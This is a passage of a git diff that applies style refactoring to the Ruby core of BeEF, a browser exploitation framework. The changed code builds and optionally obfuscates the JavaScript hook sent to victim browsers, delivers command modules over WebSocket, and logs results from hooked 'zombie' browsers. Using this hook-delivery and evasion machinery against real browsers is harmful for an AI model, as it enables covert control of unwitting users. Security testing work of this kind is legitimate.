net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js) + beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] # @note Load websocket library only if WS server is enabled in config.yaml - if config.get("beef.http.websocket.enable") == true - beef_js_sub_files << "websocket.js" - end + beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled - if config.get("beef.extension.webrtc.enable") == true - beef_js_sub_files << "lib/webrtcadapter.js" - beef_js_sub_files << "webrtc.js" + if config.get('beef.extension.webrtc.enable') == true + beef_js_sub_files << 'lib/webrtcadapter.js' + beef_js_sub_files << 'webrtc.js' end # @note antisnatchor: leave timeout.js as the last one! - beef_js_sub_files << "timeout.js" + beef_js_sub_files << 'timeout.js' ext_js_to_obfuscate = '' ext_js_to_not_obfuscate = '' # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate - ext_js_sub_files.each { |ext_js_sub_file| - if config.get("beef.extension.evasion.enable") - if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + ext_js_sub_files.each do |ext_js_sub_file| + if config.get('beef.extension.evasion.enable') + if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file @@ -59,66 +56,58 @@ module BeEF ext_js_sub_file_path = beef_js_path + ext_js_sub_file ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") end - } + end # @note construct the beef_js string from file(s) - beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file beef_js << (File.read(beef_js_sub_file_path) + "\n\n") - } + end # @note create the config for the hooked browser session hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client - unless hook_session_config['beef_public'].nil? - if hook_session_config['beef_host'] != hook_session_config['beef_public'] - hook_session_config['beef_host'] = hook_session_config['beef_public'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) - end + if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public']) + hook_session_config['beef_host'] = hook_session_config['beef_public'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) end - if hook_session_config['beef_host'].eql? "0.0.0.0" + if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) end # @note set the XHR-polling timeout - hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") + hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout') # @note set the hook file path and BeEF's cookie name - hook_session_config['hook_file'] = config.get("beef.http.hook_file") - hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name") + hook_session_config['hook_file'] = config.get('beef.http.hook_file') + hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name') # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') - end - end + if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") - hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") - hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + if config.get('beef.http.websocket.enable') + hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure') + hook_session_config['websocket_port'] = config.get('beef.http.websocket.port') + hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout') + hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout') + hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port') end # @note Set if PhishingFrenzy integration is enabled - if config.get("beef.integration.phishing_frenzy.enable") - hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable") - end + hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable') # @note populate place holders in the beef_js string and set the response body eruby = Erubis::FastEruby.new(beef_js) @hook = eruby.evaluate(hook_session_config) - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else @@ -127,7 +116,6 @@ module BeEF # @note Return the final hook to be sent to the browser @body << @final_hook - end # Finds the path to js components @@ -139,7 +127,7 @@ module BeEF component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - return false if not File.exists? component_path + return false unless File.exist? component_path component_path end @@ -152,11 +140,12 @@ module BeEF if beefjs_components.is_a? String beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} + raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path + + beefjs_components = { beefjs_components => beefjs_components_path } end - beefjs_components.keys.each { |k| + beefjs_components.keys.each do |k| next if @beef_js_cmps.include? beefjs_components[k] # @note path to the component @@ -164,11 +153,11 @@ module BeEF # @note we output the component to the hooked browser config = BeEF::Core::Configuration.instance - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(File.read(component_path) + "\n\n") else - @body << File.read(component_path) + "\n\n" + @body << (File.read(component_path) + "\n\n") end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. @@ -177,7 +166,7 @@ module BeEF else @beef_js_cmps += ",#{component_path}" end - } + end end end end diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 812971a9c..70fbda4f5 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -7,29 +7,48 @@ module BeEF module Core module Handlers module Modules - module Command - # Adds the command module instructions to a hooked browser's http response. # @param [Object] command Command object # @param [Object] hooked_browser Hooked Browser object def add_command_instructions(command, hooked_browser) - (print_error "hooked_browser is nil"; return) if hooked_browser.nil? - (print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil? - (print_error "hooked_browser is nil"; return) if command.nil? - (print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil? + if hooked_browser.nil? + (print_error 'hooked_browser is nil' + return) + end + if hooked_browser.session.nil? + (print_error 'hooked_browser.session is nil' + return) + end + if command.nil? + (print_error 'hooked_browser is nil' + return) + end + if command.command_module_id.nil? + (print_error 'hooked_browser.command_module_id is nil' + return) + end config = BeEF::Core::Configuration.instance # @note get the command module - command_module = BeEF::Core::Models::CommandModule.where(:id => command.command_module_id).first - (print_error "command_module is nil"; return) if command_module.nil? - (print_error "command_module.path is nil"; return) if command_module.path.nil? + command_module = BeEF::Core::Models::CommandModule.where(id: command.command_module_id).first + if command_module.nil? + (print_error 'command_module is nil' + return) + end + if command_module.path.nil? + (print_error 'command_module.path is nil' + return) + end - if (command_module.path.match(/^Dynamic/)) + if command_module.path.match(/^Dynamic/) command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new else key = BeEF::Module.get_key_by_database_id(command.command_module_id) - (print_error "Could not find command module with ID #{command.command_module_id}"; return) if key.nil? + if key.nil? + (print_error "Could not find command module with ID #{command.command_module_id}" + return) + end command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key) end @@ -42,25 +61,25 @@ module BeEF ws = BeEF::Core::Websocket::Websocket.instance - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @output = evasion.obfuscate(command_module.output) else @output = command_module.output end - #todo antisnatchor: remove this gsub crap adding some hook packing. - if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session) - #content = command_module.output.gsub('// - #// - #// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net - #// Browser Exploitation Framework (BeEF) - http://beefproject.com - #// See the file 'doc/COPYING' for copying permission - #// - #//', "") + # TODO: antisnatchor: remove this gsub crap adding some hook packing. + if config.get('beef.http.websocket.enable') && ws.getsocket(hooked_browser.session) + # content = command_module.output.gsub('// + # // + # // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net + # // Browser Exploitation Framework (BeEF) - http://beefproject.com + # // See the file 'doc/COPYING' for copying permission + # // + # //', "") ws.send(@output, hooked_browser.session) else - @body << @output + "\n\n" + @body << (@output + "\n\n") end # @note prints the event to the console if BeEF::Settings.console? @@ -72,9 +91,7 @@ module BeEF command.instructions_sent = true command.save! end - end - end end end diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index 68d38fc08..7e2b08ac9 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -7,10 +7,8 @@ module BeEF module Core module Handlers module Modules - # @note Purpose: avoid rewriting several times the same code. module LegacyBeEFJS - # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def legacy_build_beefjs!(req_host) @@ -21,31 +19,30 @@ module BeEF beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js) + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js) + beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] # @note Load websocket library only if WS server is enabled in config.yaml - if config.get("beef.http.websocket.enable") == true - beef_js_sub_files << "websocket.js" - end + beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled - if config.get("beef.extension.webrtc.enable") == true - beef_js_sub_files << "lib/webrtcadapter.js" - beef_js_sub_files << "webrtc.js" + if config.get('beef.extension.webrtc.enable') == true + beef_js_sub_files << 'lib/webrtcadapter.js' + beef_js_sub_files << 'webrtc.js' end # @note antisnatchor: leave timeout.js as the last one! - beef_js_sub_files << "timeout.js" + beef_js_sub_files << 'timeout.js' ext_js_to_obfuscate = '' ext_js_to_not_obfuscate = '' # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate - ext_js_sub_files.each { |ext_js_sub_file| - if config.get("beef.extension.evasion.enable") - if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + ext_js_sub_files.each do |ext_js_sub_file| + if config.get('beef.extension.evasion.enable') + if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file @@ -59,66 +56,58 @@ module BeEF ext_js_sub_file_path = beef_js_path + ext_js_sub_file ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") end - } + end # @note construct the beef_js string from file(s) - beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file beef_js << (File.read(beef_js_sub_file_path) + "\n\n") - } + end # @note create the config for the hooked browser session hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client - unless hook_session_config['beef_public'].nil? - if hook_session_config['beef_host'] != hook_session_config['beef_public'] - hook_session_config['beef_host'] = hook_session_config['beef_public'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) - end + if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public']) + hook_session_config['beef_host'] = hook_session_config['beef_public'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) end - if hook_session_config['beef_host'].eql? "0.0.0.0" + if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) end # @note set the XHR-polling timeout - hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") + hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout') # @note set the hook file path and BeEF's cookie name - hook_session_config['hook_file'] = config.get("beef.http.hook_file") - hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name") + hook_session_config['hook_file'] = config.get('beef.http.hook_file') + hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name') # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') - end - end + if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") - hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") - hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + if config.get('beef.http.websocket.enable') + hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure') + hook_session_config['websocket_port'] = config.get('beef.http.websocket.port') + hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout') + hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout') + hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port') end # @note Set if PhishingFrenzy integration is enabled - if config.get("beef.integration.phishing_frenzy.enable") - hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable") - end + hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable') # @note populate place holders in the beef_js string and set the response body eruby = Erubis::FastEruby.new(beef_js) @hook = eruby.evaluate(hook_session_config) - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else @@ -127,7 +116,6 @@ module BeEF # @note Return the final hook to be sent to the browser @body << @final_hook - end # Finds the path to js components @@ -139,7 +127,7 @@ module BeEF component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - return false if not File.exists? component_path + return false unless File.exist? component_path component_path end @@ -152,11 +140,12 @@ module BeEF if beefjs_components.is_a? String beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} + raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path + + beefjs_components = { beefjs_components => beefjs_components_path } end - beefjs_components.keys.each { |k| + beefjs_components.keys.each do |k| next if @beef_js_cmps.include? beefjs_components[k] # @note path to the component @@ -164,11 +153,11 @@ module BeEF # @note we output the component to the hooked browser config = BeEF::Core::Configuration.instance - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(File.read(component_path) + "\n\n") else - @body << File.read(component_path) + "\n\n" + @body << (File.read(component_path) + "\n\n") end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. @@ -177,7 +166,7 @@ module BeEF else @beef_js_cmps += ",#{component_path}" end - } + end end end end diff --git a/core/main/logger.rb b/core/main/logger.rb index 256392090..80ed84abc 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -5,53 +5,50 @@ # module BeEF -module Core - class Logger - include Singleton - - # Constructor - def initialize - @logs = BeEF::Core::Models::Log - @config = BeEF::Core::Configuration.instance + module Core + class Logger + include Singleton - # if notifications are enabled create a new instance - notifications_enabled = @config.get('beef.extension.notifications.enable') - @notifications = BeEF::Extension::Notifications::Notifications unless (notifications_enabled == false or notifications_enabled.nil?) - end + # Constructor + def initialize + @logs = BeEF::Core::Models::Log + @config = BeEF::Core::Configuration.instance - # - # Registers a new event in the logs - # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) - # @param [String] event The event description - # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) - # - # @return [Boolean] True if the register was successful - # - def register(from, event, hb = 0) - # type conversion to enforce standards - hb = hb.to_i - - # get time now - time_now = Time.now - - # arguments type checking - raise TypeError, '"from" needs to be a string' unless from.string? - raise TypeError, '"event" needs to be a string' unless event.string? - raise TypeError, '"Hooked Browser ID" needs to be an integer' unless hb.integer? - - # logging the new event into the database - @logs.create(:logtype => from.to_s, :event => event.to_s, :date => time_now, :hooked_browser_id => hb).save! - print_debug "Event: #{event}" - # if notifications are enabled send the info there too - if @notifications - @notifications.new(from, event, time_now, hb) + # if notifications are enabled create a new instance + notifications_enabled = @config.get('beef.extension.notifications.enable') + @notifications = BeEF::Extension::Notifications::Notifications unless notifications_enabled == false or notifications_enabled.nil? end - - true - end - private - @logs + # + # Registers a new event in the logs + # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) + # @param [String] event The event description + # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) + # + # @return [Boolean] True if the register was successful + # + def register(from, event, hb = 0) + # type conversion to enforce standards + hb = hb.to_i + + # get time now + time_now = Time.now + + # arguments type checking + raise TypeError, '"from" needs to be a string' unless from.string? + raise TypeError, '"event" needs to be a string' unless event.string? + raise TypeError, '"Hooked Browser ID" needs to be an integer' unless hb.integer? + + # logging the new event into the database + @logs.create(logtype: from.to_s, event: event.to_s, date: time_now, hooked_browser_id: hb).save! + print_debug "Event: #{event}" + # if notifications are enabled send the info there too + @notifications.new(from, event, time_now, hb) if @notifications + + true + end + + @logs + end end end -end diff --git a/core/main/migration.rb b/core/main/migration.rb index 0add4e6fc..c4a39477d 100644 --- a/core/main/migration.rb +++ b/core/main/migration.rb @@ -5,44 +5,43 @@ # module BeEF -module Core + module Core + # @note This class migrates and updates values in the database each time you restart BeEF. + # So for example, when you want to add a new command module, you stop BeEF, + # copy your command module into the framework and then restart BeEF. + # That class will take care of installing automatically the new command module in the db. + class Migration + include Singleton - # @note This class migrates and updates values in the database each time you restart BeEF. - # So for example, when you want to add a new command module, you stop BeEF, - # copy your command module into the framework and then restart BeEF. - # That class will take care of installing automatically the new command module in the db. - class Migration - include Singleton - - # - # Updates the database. - # - def update_db! - update_commands! - end - - # - # Checks for new command modules and updates the database. - # - def update_commands! - config = BeEF::Core::Configuration.instance - - db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name) - - config.get('beef.module').each do |k, v| - BeEF::Core::Models::CommandModule.new(name: k, path: "#{v['path']}module.rb").save! unless db_modules.include? k + # + # Updates the database. + # + def update_db! + update_commands! end - - BeEF::Core::Models::CommandModule.all.each do |mod| - unless config.get("beef.module.#{mod.name}").nil? - config.set "beef.module.#{mod.name}.db.id", mod.id - config.set "beef.module.#{mod.name}.db.path", mod.path + + # + # Checks for new command modules and updates the database. + # + def update_commands! + config = BeEF::Core::Configuration.instance + + db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name) + + config.get('beef.module').each do |k, v| + BeEF::Core::Models::CommandModule.new(name: k, path: "#{v['path']}module.rb").save! unless db_modules.include? k end - end - # Call Migration method - BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands' + BeEF::Core::Models::CommandModule.all.each do |mod| + unless config.get("beef.module.#{mod.name}").nil? + config.set "beef.module.#{mod.name}.db.id", mod.id + config.set "beef.module.#{mod.name}.db.path", mod.path + end + end + + # Call Migration method + BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands' + end end end end -end diff --git a/core/main/model.rb b/core/main/model.rb index 8033e698e..0403e494f 100644 --- a/core/main/model.rb +++ b/core/main/model.rb @@ -5,10 +5,10 @@ # module BeEF -module Core - class Model < ActiveRecord::Base - # Tell ActiveRecord that this is not a model - self.abstract_class = true + module Core + class Model < ActiveRecord::Base + # Tell ActiveRecord that this is not a model + self.abstract_class = true + end end end -end diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index 0a5550afb..3938c4d57 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -4,55 +4,55 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Table stores the details of browsers. - # - # For example, the type and version of browser the hooked browsers are using. - # - class BrowserDetails < BeEF::Core::Model - - # - # Returns the requested value from the data store - # - def self.get(session_id, key) - browserdetail = self.where(:session_id => session_id, :detail_key => key).first - - return nil if browserdetail.nil? - return nil if browserdetail.detail_value.nil? - return browserdetail.detail_value - end - - # - # Stores or updates an existing key->value pair in the data store - # - def self.set(session_id, detail_key, detail_value) - browserdetails = BeEF::Core::Models::BrowserDetails.where( - :session_id => session_id, - :detail_key => detail_key ).first - if browserdetails.nil? - # store the new browser details key/value - browserdetails = BeEF::Core::Models::BrowserDetails.new( - :session_id => session_id, - :detail_key => detail_key, - :detail_value => detail_value || '') - result = browserdetails.save! - else - # update the browser details key/value - browserdetails.detail_value = detail_value || '' - result = browserdetails.save! - print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'" - end + module Core + module Models + # + # Table stores the details of browsers. + # + # For example, the type and version of browser the hooked browsers are using. + # + class BrowserDetails < BeEF::Core::Model + # + # Returns the requested value from the data store + # + def self.get(session_id, key) + browserdetail = where(session_id: session_id, detail_key: key).first - # if the attempt to save the browser details fails return a bad request - if result.nil? - print_error "Failed to save browser details: #{detail_key}=#{detail_value}" + return nil if browserdetail.nil? + return nil if browserdetail.detail_value.nil? + + browserdetail.detail_value + end + + # + # Stores or updates an existing key->value pair in the data store + # + def self.set(session_id, detail_key, detail_value) + browserdetails = BeEF::Core::Models::BrowserDetails.where( + session_id: session_id, + detail_key: detail_key + ).first + if browserdetails.nil? + # store the new browser details key/value + browserdetails = BeEF::Core::Models::BrowserDetails.new( + session_id: session_id, + detail_key: detail_key, + detail_value: detail_value || '' + ) + result = browserdetails.save! + else + # update the browser details key/value + browserdetails.detail_value = detail_value || '' + result = browserdetails.save! + print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'" + end + + # if the attempt to save the browser details fails return a bad request + print_error "Failed to save browser details: #{detail_key}=#{detail_value}" if result.nil? + + browserdetails + end end - - browserdetails end end end -end -end diff --git a/core/main/models/command.rb b/core/main/models/command.rb index afbdd9176..996d22f91 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -5,73 +5,70 @@ # module BeEF -module Core -module Models + module Core + module Models + # @note Table stores the commands that have been sent to the Hooked Browsers. + class Command < BeEF::Core::Model + has_many :results + has_one :command_module + has_one :hooked_browser - # @note Table stores the commands that have been sent to the Hooked Browsers. - class Command < BeEF::Core::Model + # + # Save results and flag that the command has been run on the hooked browser + # + # @param [String] hook_session_id The session_id. + # @param [String] command_id The command_id. + # @param [String] command_friendly_name The command friendly name. + # @param [String] result The result of the command module. + # + def self.save_result(hook_session_id, command_id, command_friendly_name, result, status) + # @note argument type checking + raise TypeError, '"hook_session_id" needs to be a string' unless hook_session_id.string? + raise TypeError, '"command_id" needs to be an integer' unless command_id.integer? + raise TypeError, '"command_friendly_name" needs to be a string' unless command_friendly_name.string? + raise TypeError, '"result" needs to be a hash' unless result.hash? + raise TypeError, '"status" needs to be an integer' unless status.integer? - has_many :results - has_one :command_module - has_one :hooked_browser + # @note get the hooked browser structure and id from the database + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first || nil + raise TypeError, 'hooked_browser is nil' if hooked_browser.nil? + raise TypeError, 'hooked_browser.id is nil' if hooked_browser.id.nil? - # - # Save results and flag that the command has been run on the hooked browser - # - # @param [String] hook_session_id The session_id. - # @param [String] command_id The command_id. - # @param [String] command_friendly_name The command friendly name. - # @param [String] result The result of the command module. - # - def self.save_result(hook_session_id, command_id, command_friendly_name, result, status) - # @note argument type checking - raise TypeError, '"hook_session_id" needs to be a string' unless hook_session_id.string? - raise TypeError, '"command_id" needs to be an integer' unless command_id.integer? - raise TypeError, '"command_friendly_name" needs to be a string' unless command_friendly_name.string? - raise TypeError, '"result" needs to be a hash' unless result.hash? - raise TypeError, '"status" needs to be an integer' unless status.integer? + # @note get the command module data structure from the database + command = where(id: command_id, hooked_browser_id: hooked_browser.id).first || nil + raise TypeError, 'command is nil' if command.nil? - # @note get the hooked browser structure and id from the database - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hook_session_id).first || nil - raise TypeError, "hooked_browser is nil" if hooked_browser.nil? - raise TypeError, "hooked_browser.id is nil" if hooked_browser.id.nil? + # @note create the entry for the results + BeEF::Core::Models::Result.create( + hooked_browser_id: hooked_browser.id, + command_id: command.id, + data: result.to_json, + status: status, + date: Time.now.to_i + ) - # @note get the command module data structure from the database - command = self.where(:id => command_id, :hooked_browser_id => hooked_browser.id).first || nil - raise TypeError, "command is nil" if command.nil? + s = show_status(status) + log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]" + log += " has executed instructions (status: #{s}) from command module [cid:#{command_id}," + log += " mod: #{command.command_module_id}, name:'#{command_friendly_name}']" + BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id) + print_info log - # @note create the entry for the results - BeEF::Core::Models::Result.create( - :hooked_browser_id => hooked_browser.id, - :command_id => command.id, - :data => result.to_json, - :status => status, - :date => Time.now.to_i - ) + true + end - s = show_status(status) - log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]" - log += " has executed instructions (status: #{s}) from command module [cid:#{command_id}," - log += " mod: #{command.command_module_id}, name:'#{command_friendly_name}']" - BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id) - print_info log - - true - end - - # @note show status - def self.show_status(status) - case status - when -1 - result = 'ERROR' - when 1 - result = 'SUCCESS' - else - result = 'UNKNOWN' + # @note show status + def self.show_status(status) + case status + when -1 + 'ERROR' + when 1 + 'SUCCESS' + else + 'UNKNOWN' + end + end end - result end end end -end -end diff --git a/core/main/models/commandmodule.rb b/core/main/models/commandmodule.rb index dbd54f0a3..dec6ebb7f 100644 --- a/core/main/models/commandmodule.rb +++ b/core/main/models/commandmodule.rb @@ -4,15 +4,11 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - - class CommandModule < BeEF::Core::Model - - has_many :commands - + module Core + module Models + class CommandModule < BeEF::Core::Model + has_many :commands + end + end end - -end -end end diff --git a/core/main/models/hookedbrowser.rb b/core/main/models/hookedbrowser.rb index f0670bc64..dd4e7fef2 100644 --- a/core/main/models/hookedbrowser.rb +++ b/core/main/models/hookedbrowser.rb @@ -4,22 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # - # - class HookedBrowser < BeEF::Core::Model - - has_many :commands - has_many :results - has_many :logs - - # @note Increases the count of a zombie - def count! - if not self.count.nil? then self.count += 1; else self.count = 1; end + module 